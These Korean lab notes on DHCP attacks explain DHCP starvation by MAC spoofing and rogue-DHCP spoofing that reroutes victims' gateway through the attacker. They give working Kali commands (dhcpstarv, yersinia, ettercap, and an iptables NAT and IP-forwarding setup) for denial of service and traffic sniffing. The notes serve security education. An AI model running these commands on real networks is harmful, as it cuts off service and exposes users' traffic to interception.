DHCP Attack
- DHCP : 네트워크 설정 (IP 주소, netmask, GW 주소, DNS 주소 등) 을 할당하는 서비스
- 과정
- 클라이언트 --discover-> 서버 --offer-> 클라이언트 --request-> 서버 --ack-> 클라이언트
1. DHCP starvation (DHCP server 공격)
- DHCP 기능 마비 -> 정상적인 주소 할당을 못하게 하는 공격 (서버를 마비시켜서 가용성을 침해하는 DOS 공격)
- 할당할 주소 대역 (scope) 을 전부 할당한 경우 추가 할당이 불가
- 해커가 의도적으로 해당 대역을 전부 할당하도록 유도하는 공격
- DHCP 서버는 하나의 클라이언트에게 하나의 주소만 할당
- DHCP 서버는 discover 요청의 MAC 주소로 클라이언트 구별
- 한명의 해커가 수많은 주소를 할당 받아야 함
- 할당 (discover) 요청 할 때 마다 mac 주소 변조 : mac spoofing
- DHCP 는 DORA 과정 중에 할당할 주소를 다른 사용자에게 제의하지 않음 (예약 기능)
- 예약 기능을 악용하여 수많은 mac 주소로 변조 후 discover 를 전달하면 DHCP 서버를 각 할당될 주소를 전부 예약하게 되고, 정상적인 사용자가 할당받을 주소가 없어짐
2. DHCP Spoofing (DHCP client 공격)
실습 DHCP starvation
linux 192.168.50.50
- DHCP server
kali 192.168.50.200
[linux]
- DHCP 서버 구축
- scope : 192.168.50.101 192.168.50.130
[kali]
-
dhcpstarv
- dhcpstarv -i eth0
- MAC 주소를 자동으로 변경해서 discover 요청
-
yersinia
- yersinia -I
- i : 공격할 인터페이스 ON
- l : 현재 공격 상태
- q : 창 닫기
- g : 공격 모드 설정
- x : 공격 대상 지정 후 공격 시작
실습 DHCP Spoofing (단방향 Sniffing)
[kali]
- DHCP spoofing
- ettercap -T -M dhcp:할당할IP대역/서브넷마스크/DNS주소
- ettercap -T -M dhcp:10.10.10.100-120/255.255.255.0/10.10.10.3
[VPC]
- DHCP 할당 시 GW 주소가 공격자의 주소로 설정됨
- 외부 통신 (다른 네트워크와 통신) 시 GW 주소를 향해 데이터를 보내는건 공격자를 거쳐서 Sniffing 가능, 외부 응답이 들어오는건 바로 원래 클라이언트에게 가니까 공격자가 Sniffing 불가
실습 DHCP Spoofing (양방향 Sniffing)
- VPC
- kali
- eth0 : 10.10.10.254 (vmnet2)
- eth1 : 20.20.20.1 (vmnet3)
[kali]
- 인터페이스 추가
- 네트워크 인터페이스 vmnet 추가 후 VPC 와 라우터와 연결된 vmnet 에 맞는 interface 설정
- /etc/network/interfaces
auto eth0
iface eth0 inet static
address 10.10.10.254
netmask 255.255.255.0
broadcast 10.10.10.255
auto eth1
iface eth1 inet static
address 20.20.20.1
netmask 255.255.255.0
gateway 20.20.20.254
broadcast 20.20.20.255
[kali]
- DHCP Spoofing
- ettercap -T -M dhcp:10.10.10.100-120/255.255.255.0/10.10.10.254
[VPC]
- DHCP 할당 시 GW 주소가 공격자의 주소로 설정됨
[kali]
- 정상 통신이 목적이니까 kernel forwarding
- sysctl net.ipv4.ip_forward=1
- NAT
- iptables -t nat -A POSTROUTING -s 10.10.10.101 -o eth1 -j MASQUERADE